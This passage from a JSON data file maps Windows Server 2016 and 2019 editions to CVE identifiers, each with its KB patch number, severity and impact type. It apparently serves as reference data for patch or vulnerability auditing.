Execution"},{"cve":"CVE-2017-8462","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025339","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074590","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343887","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093119","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487026","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493470","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503267","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537764","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571694","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571694","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601318","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003197","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003197","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003638","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004948","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005043","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005573","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006669","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029242","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026363","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073722","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028169","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-44487","kb":"5031362","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039214","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041773","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043051","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048671","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5049993","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053594","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053594","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055521","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058383","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058383","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061010","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066836","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062560","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063871","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070882","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099535","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-85880","kb":"5123099","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2016-7255","kb":"3200970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041691","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041691","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048953","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053579","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025339","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074590","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343887","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093119","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487026","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493470","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503267","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537764","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571694","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571694","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601318","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003197","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003197","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003638","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004948","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005043","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005573","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006669","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029242","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026363","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073722","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028169","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-44487","kb":"5031362","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039214","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041773","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043051","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048671","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5049993","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053594","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053594","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055521","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058383","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058383","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061010","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066836","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062560","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063871","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070882","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099535","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-85880","kb":"5123099","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2019":[{"cve":"CVE-2018-0886","kb":"4551853","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4464330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8453","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467708","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487044","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493509","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503327","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4519338","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530715","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534273","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4538461","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4549949","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565349","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565349","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601345","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003171","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003171","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003646","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601345","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601345","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000822","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004947","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005030","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005568","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006672","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015811","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014692","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013941","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034127","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029247","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025229","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028168","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032196","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031361","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039217","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041578","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043050","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048661","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044277","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050008","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053596","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053596","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055519","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058392","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058392","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060531","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066586","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062557","severity":"Critical","impact":"Remote Code 